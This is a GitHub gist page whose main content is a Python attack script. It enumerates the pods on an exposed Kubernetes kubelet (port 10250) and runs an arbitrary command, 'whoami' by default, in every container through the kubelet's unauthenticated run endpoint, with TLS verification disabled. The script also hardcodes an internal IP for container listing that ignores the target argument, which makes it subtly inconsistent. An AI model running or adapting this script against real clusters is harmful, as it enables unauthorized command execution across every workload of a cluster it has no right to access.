Skip to content

Instantly share code, notes, and snippets.

@rarecoil
Created February 11, 2020 20:53
Show Gist options
  • Save rarecoil/6dff0087e84e3e73ac438f8dba019799 to your computer and use it in GitHub Desktop.
Save rarecoil/6dff0087e84e3e73ac438f8dba019799 to your computer and use it in GitHub Desktop.
Run `whoami` (arbitrary command) on every container via kubelet
#!/usr/bin/env python3
import requests
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cmd = "whoami"
def parse_containerlist(json):
containers = []
if 'items' in json:
for item in json['items']:
metadata = item['metadata']
namespace = metadata['namespace']
pod = metadata['name']
try:
for container in item['spec']['containers']:
containers.append((namespace, pod, container['name']))
except:
continue
return containers
def get_containerlist(target_ip):
"""Get a tree of namespaces -> pods -> containers"""
URI = "https://%s:10250/runningpods/" % target_ip
res = requests.get(URI, verify=False)
if res.status_code == 200:
return parse_containerlist(res.json())
return None
def execute_command(target_ip, container_ntuple, cmd):
namespace, pod, container_name = container_ntuple
URI = "https://%s:10250/run/%s/%s/%s" % (target_ip, namespace, pod, container_name)
res = requests.post(URI, verify=False, data={"cmd":cmd})
return res.text.strip()
def main(target_ip, cmd):
containers = get_containerlist("10.9.34.69")
for container_ntuple in containers:
result = execute_command(target_ip, container_ntuple, cmd)
print("/".join(container_ntuple))
print("'%s' > %s\n" % (cmd, result))
target_ip = sys.argv[1]
main(target_ip, cmd)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment